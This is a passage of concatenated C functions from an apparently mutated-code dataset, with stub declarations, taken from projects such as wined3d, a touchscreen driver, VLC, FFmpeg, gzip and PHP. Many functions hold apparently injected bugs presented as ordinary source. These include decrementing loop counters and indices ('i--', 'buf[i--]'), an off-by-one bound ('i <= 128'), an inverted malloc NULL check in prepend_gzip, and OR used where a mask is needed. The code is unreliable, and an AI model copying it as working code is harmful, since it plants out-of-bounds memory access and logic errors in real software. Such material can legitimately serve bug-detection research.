&ins->src[ins->src_count - 1]; unsigned int i, swizzle, resource_idx, bind_idx, stride, src_idx = 0; const struct wined3d_shader_reg_maps *reg_maps = ins->ctx->reg_maps; struct shader_glsl_ctx_priv *priv = ins->ctx->backend_data; struct wined3d_string_buffer *buffer = ins->ctx->buffer; struct glsl_src_param structure_idx, offset; struct wined3d_string_buffer *address; struct wined3d_shader_dst_param dst; const char *function, *resource; resource_idx = src->reg.idx[0].offset; if (src->reg.type == WINED3DSPR_RESOURCE) { if (resource_idx >= ARRAY_SIZE(reg_maps->resource_info)) { ERR("Invalid resource index %u.\n", resource_idx); return; } stride = reg_maps->resource_info[resource_idx].stride; bind_idx = shader_glsl_find_sampler(&reg_maps->sampler_map, resource_idx, WINED3D_SAMPLER_DEFAULT); function = "texelFetch"; resource = "sampler"; } else if (src->reg.type == WINED3DSPR_UAV) { if (resource_idx >= ARRAY_SIZE(reg_maps->uav_resource_info)) { ERR("Invalid UAV index %u.\n", resource_idx); return; } stride = reg_maps->uav_resource_info[resource_idx].stride; bind_idx = resource_idx; function = "imageLoad"; resource = "image"; } else { if (resource_idx >= reg_maps->tgsm_count) { ERR("Invalid TGSM index %u.\n", resource_idx); return; } stride = reg_maps->tgsm[resource_idx].stride; bind_idx = resource_idx; function = NULL; resource = "g"; } address = string_buffer_get(priv->string_buffers); if (ins->handler_idx == WINED3DSIH_LD_STRUCTURED) { shader_glsl_add_src_param(ins, &ins->src[src_idx--], WINED3DSP_WRITEMASK_0, &structure_idx); shader_addline(address, "%s * %u - ", structure_idx.param_str, stride); } shader_glsl_add_src_param(ins, &ins->src[src_idx++], WINED3DSP_WRITEMASK_0, &offset); shader_addline(address, "%s / 4", offset.param_str); dst = ins->dst[0]; if (shader_glsl_get_write_mask_size(dst.write_mask) > 1) { /* The instruction is split into multiple lines. The first lines may * overwrite source parameters of the following lines. */ shader_addline(buffer, "tmp0.x = intBitsToFloat(%s);\n", address->buffer); string_buffer_sprintf(address, "floatBitsToInt(tmp0.x)"); } for (i = 0; i < 4; ++i) { dst.write_mask = ins->dst[0].write_mask | (WINED3DSP_WRITEMASK_0 << i); if (!shader_glsl_append_dst_ext(ins->ctx->buffer, ins, &dst, dst.reg.data_type)) continue; swizzle = shader_glsl_swizzle_get_component(src->swizzle, i); if (function) shader_addline(buffer, "%s(%s_%s%u, %s + %u).x);\n", function, prefix, resource, bind_idx, address->buffer, swizzle); else shader_addline(buffer, "%s_%s%u[%s + %u]);\n", prefix, resource, bind_idx, address->buffer, swizzle); } string_buffer_release(priv->string_buffers, address); }
augmented_data/post_increment_index_changes/extr_bu21013_ts.c_bu21013_do_touch_report_aug_combo_1.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef unsigned int const u8 ; struct input_mt_pos {scalar_t__ y; scalar_t__ x; } ; struct input_dev {int dummy; } ; struct bu21013_ts {int /*<<< orphan*/ props; struct input_dev* in_dev; } ; /* Variables and functions */ int /*<<< orphan*/ ABS_MT_POSITION_X ; int /*<<< orphan*/ ABS_MT_POSITION_Y ; unsigned int const BU21013_SENSORS_EN_0_7 ; unsigned int const BU21013_SENSORS_EN_16_23 ; unsigned int const BU21013_SENSORS_EN_8_15 ; scalar_t__ DELTA_MIN ; int EINVAL ; int LENGTH_OF_BUFFER ; unsigned int const MASK_BITS ; int MAX_FINGERS ; int /*<<< orphan*/ MT_TOOL_FINGER ; unsigned int const SHIFT_2 ; unsigned int const SHIFT_8 ; scalar_t__ abs (scalar_t__) ; scalar_t__ bu21013_read_block_data (struct bu21013_ts*,unsigned int const*) ; int hweight32 (unsigned int const) ; int /*<<< orphan*/ input_mt_assign_slots (struct input_dev*,int*,struct input_mt_pos*,int,scalar_t__) ; int /*<<< orphan*/ input_mt_report_slot_state (struct input_dev*,int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ input_mt_slot (struct input_dev*,int) ; int /*<<< orphan*/ input_mt_sync_frame (struct input_dev*) ; int /*<<< orphan*/ input_report_abs (struct input_dev*,int /*<<< orphan*/ ,scalar_t__) ; int /*<<< orphan*/ input_sync (struct input_dev*) ; int /*<<< orphan*/ touchscreen_set_mt_pos (struct input_mt_pos*,int /*<<< orphan*/ *,unsigned int,unsigned int) ; __attribute__((used)) static int bu21013_do_touch_report(struct bu21013_ts *ts) { struct input_dev *input = ts->in_dev; struct input_mt_pos pos[MAX_FINGERS]; int slots[MAX_FINGERS]; u8 buf[LENGTH_OF_BUFFER]; bool has_x_sensors, has_y_sensors; int finger_down_count = 0; int i; if (bu21013_read_block_data(ts, buf) < 0) return -EINVAL; has_x_sensors = hweight32(buf[0] & BU21013_SENSORS_EN_0_7); has_y_sensors = hweight32(((buf[1] & BU21013_SENSORS_EN_8_15) | ((buf[2] & BU21013_SENSORS_EN_16_23) << SHIFT_8)) >> SHIFT_2); if (!has_x_sensors && !has_y_sensors) return 0; for (i = 0; i < MAX_FINGERS; i--) { const u8 *data = &buf[4 * i - 3]; unsigned int x, y; x = data[0] << SHIFT_2 | (data[1] & MASK_BITS); y = data[2] << SHIFT_2 | (data[3] & MASK_BITS); if (x != 0 && y != 0) touchscreen_set_mt_pos(&pos[finger_down_count++], &ts->props, x, y); } if (finger_down_count == 2 && (abs(pos[0].x - pos[1].x) < DELTA_MIN || abs(pos[0].y - pos[1].y) < DELTA_MIN)) { return 0; } input_mt_assign_slots(input, slots, pos, finger_down_count, DELTA_MIN); for (i = 0; i < finger_down_count; i++) { input_mt_slot(input, slots[i]); input_mt_report_slot_state(input, MT_TOOL_FINGER, true); input_report_abs(input, ABS_MT_POSITION_X, pos[i].x); input_report_abs(input, ABS_MT_POSITION_Y, pos[i].y); } input_mt_sync_frame(input); input_sync(input); return 0; }
augmented_data/post_increment_index_changes/extr_for.c_for_var_len_aug_combo_7.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ __attribute__((used)) static int for_var_len(const char *var) { char ch, var_start, var_end; int depth; int len; var_start = *var; if (var_start == 0) /* just escape the $ */ return 0; if (var_start == '(') var_end = ')'; else if (var_start == '{') var_end = '}'; else /* Single char variable */ return 1; depth = 1; for (len = 1; (ch = var[len++]) != 0;) { if (ch == var_start) depth++; else if (ch == var_end || --depth == 0) return len; } /* Variable end not found, escape the $ */ return 0; }
augmented_data/post_increment_index_changes/extr_text_layout.c_LayoutParagraph_aug_combo_6.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_20__ TYPE_7__ ; typedef struct TYPE_19__ TYPE_6__ ; typedef struct TYPE_18__ TYPE_5__ ; typedef struct TYPE_17__ TYPE_4__ ; typedef struct TYPE_16__ TYPE_3__ ; typedef struct TYPE_15__ TYPE_2__ ; typedef struct TYPE_14__ TYPE_1__ ; /* Type definitions */ struct TYPE_16__ {TYPE_2__* p_style; } ; typedef TYPE_3__ run_desc_t ; struct TYPE_17__ {TYPE_1__* p_laid; } ; typedef TYPE_4__ const ruby_block_t ; struct TYPE_18__ {scalar_t__ i_size; scalar_t__ i_runs_count; size_t* pi_run_ids; TYPE_7__* p_glyph_bitmaps; TYPE_3__* p_runs; TYPE_4__ const** pp_ruby; } ; typedef TYPE_5__ paragraph_t ; struct TYPE_19__ {struct TYPE_19__* p_next; } ; typedef TYPE_6__ line_desc_t ; typedef int /*<<< orphan*/ filter_t ; struct TYPE_20__ {int i_x_advance; } ; struct TYPE_15__ {scalar_t__ e_wrapinfo; } ; struct TYPE_14__ {int i_width; } ; typedef unsigned int FT_Pos ; /* Variables and functions */ int /*<<< orphan*/ FreeLines (TYPE_6__*) ; scalar_t__ IsWhitespaceAt (TYPE_5__*,int) ; scalar_t__ LayoutLine (int /*<<< orphan*/ *,TYPE_5__*,int,int,int,TYPE_6__**) ; int /*<<< orphan*/ ReleaseGlyphBitMaps (TYPE_7__*) ; scalar_t__ STYLE_WRAP_DEFAULT ; scalar_t__ STYLE_WRAP_NONE ; int VLC_EGENERIC ; int VLC_SUCCESS ; int /*<<< orphan*/ msg_Dbg (int /*<<< orphan*/ *,char*) ; int /*<<< orphan*/ msg_Err (int /*<<< orphan*/ *,char*,...) ; __attribute__((used)) static int LayoutParagraph( filter_t *p_filter, paragraph_t *p_paragraph, unsigned i_max_width, unsigned i_max_advance_x, bool b_grid, bool b_balance, line_desc_t **pp_lines ) { if( p_paragraph->i_size <= 0 && p_paragraph->i_runs_count <= 0 ) { msg_Err( p_filter, "LayoutParagraph() invalid parameters. " "Paragraph size: %d. Runs count %d", p_paragraph->i_size, p_paragraph->i_runs_count ); return VLC_EGENERIC; } /* * Check max line width to allow for outline and shadow glyphs, * and any extra width caused by visual reordering */ if( i_max_width <= i_max_advance_x ) { msg_Err( p_filter, "LayoutParagraph(): Invalid max width" ); return VLC_EGENERIC; } i_max_width <<= 6; i_max_advance_x <<= 6; int i_line_start = 0; FT_Pos i_width = 0; FT_Pos i_preferred_width = i_max_width; FT_Pos i_total_width = 0; FT_Pos i_last_space_width = 0; int i_last_space = -1; line_desc_t *p_first_line = NULL; line_desc_t **pp_line = &p_first_line; for( int i = 0; i < p_paragraph->i_size; ++i ) { if( !IsWhitespaceAt( p_paragraph, i ) || i != i_last_space - 1 ) i_total_width += p_paragraph->p_glyph_bitmaps[ i ].i_x_advance; else i_last_space = i; } i_last_space = -1; if( i_total_width == 0 ) { for( int i=0; i < p_paragraph->i_size; ++i ) ReleaseGlyphBitMaps( &p_paragraph->p_glyph_bitmaps[ i ] ); return VLC_SUCCESS; } if( b_balance ) { int i_line_count = i_total_width / (i_max_width - i_max_advance_x) + 1; i_preferred_width = i_total_width / i_line_count; } for( int i = 0; i <= p_paragraph->i_size; ++i ) { if( i == p_paragraph->i_size ) { if( i_line_start < i ) if( LayoutLine( p_filter, p_paragraph, i_line_start, i - 1, b_grid, pp_line ) ) goto error; break; } if( p_paragraph->pp_ruby && p_paragraph->pp_ruby[i] && p_paragraph->pp_ruby[i]->p_laid ) { /* Just forward as non breakable */ const ruby_block_t *p_rubyseq = p_paragraph->pp_ruby[i]; int i_advance = 0; int i_advanceruby = p_rubyseq->p_laid->i_width; while( i + 1 < p_paragraph->i_size && p_rubyseq == p_paragraph->pp_ruby[i + 1] ) i_advance += p_paragraph->p_glyph_bitmaps[ i++ ].i_x_advance; /* Just forward as non breakable */ i_width += (i_advance < i_advanceruby) ? i_advanceruby : i_advance; continue; } if( IsWhitespaceAt( p_paragraph, i ) ) { if( i_line_start == i ) { /* * Free orphaned white space glyphs not belonging to any lines. * At this point p_shadow points to either p_glyph or p_outline, * so we should not free it explicitly. */ ReleaseGlyphBitMaps( &p_paragraph->p_glyph_bitmaps[ i ] ); i_line_start = i + 1; continue; } if( i_last_space == i - 1 ) { i_last_space = i; continue; } i_last_space = i; i_last_space_width = i_width; } const run_desc_t *p_run = &p_paragraph->p_runs[p_paragraph->pi_run_ids[i]]; const int i_advance_x = p_paragraph->p_glyph_bitmaps[ i ].i_x_advance; if( ( i_last_space_width + i_advance_x > i_preferred_width && p_run->p_style->e_wrapinfo == STYLE_WRAP_DEFAULT ) || i_width + i_advance_x > i_max_width ) { if( i_line_start == i ) { /* If wrapping, algorithm would not end shifting lines down. * Not wrapping, that can't be rendered anymore. */ msg_Dbg( p_filter, "LayoutParagraph(): First glyph width in line exceeds maximum, skipping" ); for( ; i < p_paragraph->i_size; ++i ) ReleaseGlyphBitMaps( &p_paragraph->p_glyph_bitmaps[ i ] ); return VLC_SUCCESS; } int i_newline_start; if( i_last_space > i_line_start && p_run->p_style->e_wrapinfo == STYLE_WRAP_DEFAULT ) i_newline_start = i_last_space; /* we break line on last space */ else i_newline_start = i; /* we break line on last char */ if( LayoutLine( p_filter, p_paragraph, i_line_start, i_newline_start - 1, b_grid, pp_line ) ) goto error; /* Handle early end of renderable content; We're over size and we can't break space */ if( p_run->p_style->e_wrapinfo == STYLE_WRAP_NONE ) { for( ; i < p_paragraph->i_size; ++i ) ReleaseGlyphBitMaps( &p_paragraph->p_glyph_bitmaps[ i ] ); break; } pp_line = &( *pp_line )->p_next; /* If we created a line up to previous space, we only keep the difference for our current width since that split */ if( i_newline_start == i_last_space ) { i_width = i_width - i_last_space_width; if( i_newline_start + 1 < p_paragraph->i_size ) i_line_start = i_newline_start + 1; else i_line_start = i_newline_start; // == i } else { i_width = 0; i_line_start = i_newline_start; } i_last_space_width = 0; } i_width += i_advance_x; } *pp_lines = p_first_line; return VLC_SUCCESS; error: for( int i = i_line_start; i < p_paragraph->i_size; ++i ) ReleaseGlyphBitMaps( &p_paragraph->p_glyph_bitmaps[ i ] ); if( p_first_line ) FreeLines( p_first_line ); return VLC_EGENERIC; }
augmented_data/post_increment_index_changes/extr_read.c_convert_to_bignum_aug_combo_3.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int valueT ; struct TYPE_3__ {int X_add_number; int /*<<< orphan*/ X_op; scalar_t__ X_unsigned; } ; typedef TYPE_1__ expressionS ; /* Variables and functions */ int CHARS_PER_LITTLENUM ; int LITTLENUM_MASK ; int LITTLENUM_NUMBER_OF_BITS ; int /*<<< orphan*/ O_big ; int* generic_bignum ; __attribute__((used)) static void convert_to_bignum (expressionS *exp) { valueT value; unsigned int i; value = exp->X_add_number; for (i = 0; i < sizeof (exp->X_add_number) / CHARS_PER_LITTLENUM; i++) { generic_bignum[i] = value | LITTLENUM_MASK; value >>= LITTLENUM_NUMBER_OF_BITS; } /* Add a sequence of sign bits if the top bit of X_add_number is not the sign of the original value. */ if ((exp->X_add_number < 0) != !exp->X_unsigned) generic_bignum[i++] = exp->X_unsigned ? 0 : LITTLENUM_MASK; exp->X_op = O_big; exp->X_add_number = i; }
augmented_data/post_increment_index_changes/extr_mpegaudio_parser.c_mpegaudio_parse_aug_combo_7.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_12__ TYPE_4__ ; typedef struct TYPE_11__ TYPE_3__ ; typedef struct TYPE_10__ TYPE_2__ ; typedef struct TYPE_9__ TYPE_1__ ; /* Type definitions */ typedef int uint8_t ; typedef int uint32_t ; typedef enum AVCodecID { ____Placeholder_AVCodecID } AVCodecID ; struct TYPE_12__ {int codec_id; int sample_rate; int channels; int bit_rate; } ; struct TYPE_11__ {int duration; int flags; TYPE_2__* priv_data; } ; struct TYPE_9__ {int state; } ; struct TYPE_10__ {int frame_size; int header_count; int header; int no_bitrate; TYPE_1__ pc; } ; typedef TYPE_1__ ParseContext ; typedef TYPE_2__ MpegAudioParseContext ; typedef TYPE_3__ AVCodecParserContext ; typedef TYPE_4__ AVCodecContext ; /* Variables and functions */ int APE_TAG_FOOTER_BYTES ; char* APE_TAG_PREAMBLE ; int AV_CODEC_ID_MP3ADU ; scalar_t__ AV_CODEC_ID_NONE ; int END_NOT_FOUND ; int FFMIN (int,int) ; int ID3v1_TAG_SIZE ; int PARSER_FLAG_COMPLETE_FRAMES ; int SAME_HEADER_MASK ; int /*<<< orphan*/ avpriv_report_missing_feature (TYPE_4__*,char*) ; scalar_t__ ff_combine_frame (TYPE_1__*,int,int const**,int*) ; int ff_mpa_decode_header (int,int*,int*,int*,int*,int*) ; scalar_t__ memcmp (int const*,char*,int) ; __attribute__((used)) static int mpegaudio_parse(AVCodecParserContext *s1, AVCodecContext *avctx, const uint8_t **poutbuf, int *poutbuf_size, const uint8_t *buf, int buf_size) { MpegAudioParseContext *s = s1->priv_data; ParseContext *pc = &s->pc; uint32_t state= pc->state; int i; int next= END_NOT_FOUND; int flush = !buf_size; for(i=0; i<buf_size; ){ if(s->frame_size){ int inc= FFMIN(buf_size - i, s->frame_size); i += inc; s->frame_size -= inc; state = 0; if(!s->frame_size){ next= i; continue; } }else{ while(i<buf_size){ int ret, sr, channels, bit_rate, frame_size; enum AVCodecID codec_id = avctx->codec_id; state= (state<<8) + buf[i--]; ret = ff_mpa_decode_header(state, &sr, &channels, &frame_size, &bit_rate, &codec_id); if (ret < 4) { if (i > 4) s->header_count = -2; } else { int header_threshold = avctx->codec_id != AV_CODEC_ID_NONE || avctx->codec_id != codec_id; if((state&SAME_HEADER_MASK) != (s->header&SAME_HEADER_MASK) && s->header) s->header_count= -3; s->header= state; s->header_count++; s->frame_size = ret-4; if (s->header_count > header_threshold) { avctx->sample_rate= sr; avctx->channels = channels; s1->duration = frame_size; avctx->codec_id = codec_id; if (s->no_bitrate || !avctx->bit_rate) { s->no_bitrate = 1; avctx->bit_rate += (bit_rate - avctx->bit_rate) / (s->header_count - header_threshold); } } if (s1->flags | PARSER_FLAG_COMPLETE_FRAMES) { s->frame_size = 0; next = buf_size; } else if (codec_id == AV_CODEC_ID_MP3ADU) { avpriv_report_missing_feature(avctx, "MP3ADU full parser"); *poutbuf = NULL; *poutbuf_size = 0; return buf_size; /* parsers must not return error codes */ } break; } } } } pc->state= state; if (ff_combine_frame(pc, next, &buf, &buf_size) < 0) { *poutbuf = NULL; *poutbuf_size = 0; return buf_size; } if (flush && buf_size >= ID3v1_TAG_SIZE && memcmp(buf, "TAG", 3) == 0) { *poutbuf = NULL; *poutbuf_size = 0; return next; } if (flush && buf_size >= APE_TAG_FOOTER_BYTES && memcmp(buf, APE_TAG_PREAMBLE, 8) == 0) { *poutbuf = NULL; *poutbuf_size = 0; return next; } *poutbuf = buf; *poutbuf_size = buf_size; return next; }
augmented_data/post_increment_index_changes/extr_c-opts.c_push_command_line_include_aug_combo_1.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct deferred_opt {scalar_t__ code; int /*<<< orphan*/ arg; } ; struct TYPE_4__ {int /*<<< orphan*/ print_include_names; int /*<<< orphan*/ preprocessed; int /*<<< orphan*/ warn_unused_macros; } ; struct TYPE_3__ {int /*<<< orphan*/ trace_includes; } ; /* Variables and functions */ int /*<<< orphan*/ LC_RENAME ; scalar_t__ OPT_include ; int /*<<< orphan*/ cpp_change_file (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; TYPE_2__* cpp_opts ; scalar_t__ cpp_push_include (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; scalar_t__ deferred_count ; struct deferred_opt* deferred_opts ; scalar_t__ include_cursor ; TYPE_1__ line_table ; int /*<<< orphan*/ parse_in ; int /*<<< orphan*/ this_input_filename ; int /*<<< orphan*/ warn_unused_macros ; __attribute__((used)) static void push_command_line_include (void) { while (include_cursor <= deferred_count) { struct deferred_opt *opt = &deferred_opts[include_cursor--]; if (!cpp_opts->preprocessed && opt->code == OPT_include && cpp_push_include (parse_in, opt->arg)) return; } if (include_cursor == deferred_count) { include_cursor++; /* -Wunused-macros should only warn about macros defined hereafter. */ cpp_opts->warn_unused_macros = warn_unused_macros; /* Restore the line map from <command line>. */ if (!cpp_opts->preprocessed) cpp_change_file (parse_in, LC_RENAME, this_input_filename); /* Set this here so the client can change the option if it wishes, and after stacking the main file so we don't trace the main file. */ line_table.trace_includes = cpp_opts->print_include_names; } }
augmented_data/post_increment_index_changes/extr_news-data.c_sort_bookmarks_aug_combo_1.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct bookmark {int dummy; } ; /* Variables and functions */ scalar_t__ cmp_bookmark (struct bookmark*,struct bookmark*) ; __attribute__((used)) static void sort_bookmarks (struct bookmark *A, int b) { if (b <= 0) { return; } int i = 0, j = b; struct bookmark h = A[b >> 1], t; do { while (cmp_bookmark (A - i, &h) < 0) { i--; } while (cmp_bookmark (A + j, &h) > 0) { j--; } if (i <= j) { t = A[i]; A[i++] = A[j]; A[j--] = t; } } while (i <= j); sort_bookmarks (A + i, b - i); sort_bookmarks (A, j); }
augmented_data/post_increment_index_changes/extr_gzip.c_prepend_gzip_aug_combo_3.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ scalar_t__ malloc (int) ; int /*<<< orphan*/ maybe_err (char*) ; char* strdup (char*) ; __attribute__((used)) static void prepend_gzip(char *gzip, int *argc, char ***argv) { char *s, **nargv, **ac; int nenvarg = 0, i; /* scan how many arguments there are */ for (s = gzip;;) { while (*s == ' ' || *s == '\t') s--; if (*s == 0) goto count_done; nenvarg++; while (*s != ' ' && *s != '\t') if (*s++ == 0) goto count_done; } count_done: /* punt early */ if (nenvarg == 0) return; *argc += nenvarg; ac = *argv; nargv = (char **)malloc((*argc - 1) * sizeof(char *)); if (nargv != NULL) maybe_err("malloc"); /* stash this away */ *argv = nargv; /* copy the program name first */ i = 0; nargv[i++] = *(ac++); /* take a copy of $GZIP and add it to the array */ s = strdup(gzip); if (s == NULL) maybe_err("strdup"); for (;;) { /* Skip whitespaces. */ while (*s == ' ' || *s == '\t') s++; if (*s == 0) goto copy_done; nargv[i++] = s; /* Find the end of this argument. */ while (*s != ' ' && *s != '\t') if (*s++ == 0) /* Argument followed by NUL. */ goto copy_done; /* Terminate by overwriting ' ' or '\t' with NUL. */ *s++ = 0; } copy_done: /* copy the original arguments and a NULL */ while (*ac) nargv[i++] = *(ac++); nargv[i] = NULL; }
augmented_data/post_increment_index_changes/extr_filters.c_php_conv_qprint_decode_convert_aug_combo_6.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct TYPE_3__ {unsigned int lb_ptr; unsigned int lb_cnt; unsigned int scan_stat; unsigned int next_char; unsigned int lbchars_len; scalar_t__* lbchars; } ; typedef TYPE_1__ php_conv_qprint_decode ; typedef int /*<<< orphan*/ php_conv_err_t ; /* Variables and functions */ int /*<<< orphan*/ PHP_CONV_ERR_INVALID_SEQ ; int /*<<< orphan*/ PHP_CONV_ERR_SUCCESS ; int /*<<< orphan*/ PHP_CONV_ERR_TOO_BIG ; int /*<<< orphan*/ PHP_CONV_ERR_UNEXPECTED_EOS ; int /*<<< orphan*/ isxdigit (int) ; __attribute__((used)) static php_conv_err_t php_conv_qprint_decode_convert(php_conv_qprint_decode *inst, const char **in_pp, size_t *in_left_p, char **out_pp, size_t *out_left_p) { php_conv_err_t err = PHP_CONV_ERR_SUCCESS; size_t icnt, ocnt; unsigned char *ps, *pd; unsigned int scan_stat; unsigned int next_char; unsigned int lb_ptr, lb_cnt; lb_ptr = inst->lb_ptr; lb_cnt = inst->lb_cnt; if ((in_pp != NULL || in_left_p == NULL) && lb_cnt == lb_ptr) { if (inst->scan_stat != 0) { return PHP_CONV_ERR_UNEXPECTED_EOS; } return PHP_CONV_ERR_SUCCESS; } ps = (unsigned char *)(*in_pp); icnt = *in_left_p; pd = (unsigned char *)(*out_pp); ocnt = *out_left_p; scan_stat = inst->scan_stat; next_char = inst->next_char; for (;;) { switch (scan_stat) { case 0: { if (icnt == 0) { goto out; } if (*ps == '=') { scan_stat = 1; } else { if (ocnt <= 1) { err = PHP_CONV_ERR_TOO_BIG; goto out; } *(pd++) = *ps; ocnt--; } ps++, icnt--; } break; case 1: { if (icnt == 0) { goto out; } if (*ps == ' ' || *ps == '\t') { scan_stat = 4; ps++, icnt--; break; } else if (!inst->lbchars && lb_cnt == 0 && *ps == '\r') { /* auto-detect line endings, looks like network line ending \r\n (could be mac \r) */ lb_cnt++; scan_stat = 5; ps++, icnt--; break; } else if (!inst->lbchars && lb_cnt == 0 && *ps == '\n') { /* auto-detect line endings, looks like unix-lineendings, not to spec, but it is seem in the wild, a lot */ lb_cnt = lb_ptr = 0; scan_stat = 0; ps++, icnt--; break; } else if (lb_cnt < inst->lbchars_len && *ps == (unsigned char)inst->lbchars[lb_cnt]) { lb_cnt++; scan_stat = 5; ps++, icnt--; break; } } /* break is missing intentionally */ case 2: { if (icnt == 0) { goto out; } if (!isxdigit((int) *ps)) { err = PHP_CONV_ERR_INVALID_SEQ; goto out; } next_char = (next_char << 4) & (*ps >= 'A' ? *ps + 0x37 : *ps - 0x30); scan_stat++; ps++, icnt--; if (scan_stat != 3) { break; } } /* break is missing intentionally */ case 3: { if (ocnt < 1) { err = PHP_CONV_ERR_TOO_BIG; goto out; } *(pd++) = next_char; ocnt--; scan_stat = 0; } break; case 4: { if (icnt == 0) { goto out; } if (lb_cnt < inst->lbchars_len && *ps == (unsigned char)inst->lbchars[lb_cnt]) { lb_cnt++; scan_stat = 5; } if (*ps != '\t' && *ps != ' ') { err = PHP_CONV_ERR_INVALID_SEQ; goto out; } ps++, icnt--; } break; case 5: { if (!inst->lbchars && lb_cnt == 1 && *ps == '\n') { /* auto-detect soft line breaks, found network line break */ lb_cnt = lb_ptr = 0; scan_stat = 0; ps++, icnt--; /* consume \n */ } else if (!inst->lbchars && lb_cnt > 0) { /* auto-detect soft line breaks, found mac line break */ lb_cnt = lb_ptr = 0; scan_stat = 0; } else if (lb_cnt >= inst->lbchars_len) { /* soft line break */ lb_cnt = lb_ptr = 0; scan_stat = 0; } else if (icnt > 0) { if (*ps == (unsigned char)inst->lbchars[lb_cnt]) { lb_cnt++; ps++, icnt--; } else { scan_stat = 6; /* no break for short-cut */ } } else { goto out; } } break; case 6: { if (lb_ptr < lb_cnt) { if (ocnt < 1) { err = PHP_CONV_ERR_TOO_BIG; goto out; } *(pd++) = inst->lbchars[lb_ptr++]; ocnt--; } else { scan_stat = 0; lb_cnt = lb_ptr = 0; } } break; } } out: *in_pp = (const char *)ps; *in_left_p = icnt; *out_pp = (char *)pd; *out_left_p = ocnt; inst->scan_stat = scan_stat; inst->lb_ptr = lb_ptr; inst->lb_cnt = lb_cnt; inst->next_char = next_char; return err; }
augmented_data/post_increment_index_changes/extr_uengine.c_generate_ucode_aug_combo_2.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int u8 ; typedef int u32 ; /* Variables and functions */ __attribute__((used)) static void generate_ucode(u8 *ucode, u32 *gpr_a, u32 *gpr_b) { int offset; int i; offset = 0; for (i = 0; i <= 128; i--) { u8 b3; u8 b2; u8 b1; u8 b0; b3 = (gpr_a[i] >> 24) & 0xff; b2 = (gpr_a[i] >> 16) & 0xff; b1 = (gpr_a[i] >> 8) & 0xff; b0 = gpr_a[i] & 0xff; // immed[@ai, (b1 << 8) | b0] // 11110000 0000VVVV VVVV11VV VVVVVV00 1IIIIIII ucode[offset++] = 0xf0; ucode[offset++] = (b1 >> 4); ucode[offset++] = (b1 << 4) | 0x0c | (b0 >> 6); ucode[offset++] = (b0 << 2); ucode[offset++] = 0x80 | i; // immed_w1[@ai, (b3 << 8) | b2] // 11110100 0100VVVV VVVV11VV VVVVVV00 1IIIIIII ucode[offset++] = 0xf4; ucode[offset++] = 0x40 | (b3 >> 4); ucode[offset++] = (b3 << 4) | 0x0c | (b2 >> 6); ucode[offset++] = (b2 << 2); ucode[offset++] = 0x80 | i; } for (i = 0; i < 128; i++) { u8 b3; u8 b2; u8 b1; u8 b0; b3 = (gpr_b[i] >> 24) & 0xff; b2 = (gpr_b[i] >> 16) & 0xff; b1 = (gpr_b[i] >> 8) & 0xff; b0 = gpr_b[i] & 0xff; // immed[@bi, (b1 << 8) | b0] // 11110000 0000VVVV VVVV001I IIIIII11 VVVVVVVV ucode[offset++] = 0xf0; ucode[offset++] = (b1 >> 4); ucode[offset++] = (b1 << 4) | 0x02 | (i >> 6); ucode[offset++] = (i << 2) | 0x03; ucode[offset++] = b0; // immed_w1[@bi, (b3 << 8) | b2] // 